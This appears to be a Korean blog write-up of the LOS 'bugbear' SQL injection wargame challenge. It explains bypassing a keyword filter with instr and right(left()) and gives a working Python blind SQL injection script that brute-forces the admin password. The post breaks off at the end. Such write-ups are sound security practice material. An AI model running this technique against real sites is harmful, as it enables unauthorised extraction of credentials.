Web

LOS - bugbear

secretjuju 2020. 5. 6. 05:35

screenshot1

blind sql injection

_ . () ' substr ascii = or and 띄어쓰기 like 0x(16진수) 을 쓰지 않고 sql injection을 만들어 보자

 

일단 비밀번호의 길이를 구하는건 > ( 부등호 기호 ) 를 사용해 보았다. 그리고 id="admin" 부분을 instr을 이용하여 대체하였다.

 

screenshot2

&는 url인코딩을 하여 넣어주어야 하고 length(pw)>%d 에서 처음으로 Hello admin이 출력되지 않는 수가 pw의 길이인 것을 알 수 있다.

 

그리고 substr 대신 right(left(pw,%d),%d)를 이용하면 다음과 같이 query를 만들 수 있다.

 

screenshot3

이를 이용하여 blind sql injection 파이썬 코드를 만들어 보았다. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
 
#?pw=aaa&no=1||instr(id,"admin")%26%26length(pw)>1
cookies = {
    "PHPSESSID" : "나의 PHPSESSID"
}
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
= 1
pw = ""
while True:
    payload = "?pw=aaa&no=1||instr(id,\"admin\")%26%26length(pw)>"+str(i)
    res = requests.get(url=url+payload,cookies=cookies)
    print("length is : %d" %i)
    if(False == ("Hello admin" in res.text)): 
        for j in range(1,i+1):
            for k in range(33,127):
                payload = "?pw=aaa&no=1||instr(id,\"admin\")%26%26instr(\""+chr(k)+"\",right(left(pw,"+str(j)+"),1))"
                res = requests.get(url=url+payload, cookies=cookies)
                print(chr(k),end="")
                if "Hello admin" in res.text:
                    pw += chr(k)
                    print("\npw : "+pw)
                    break
        break
    i+=1
 
print("\nlength of pw : %d" %i)
print("\npw : "+pw)
cs

screenshot4

항상그랬듯 ( 이 전 포스트 참고 ) 구한 패스워드의 알파벳을 모두 소문자로 바꾸어 pw값으로 입력 해 보았더니.

screenshot5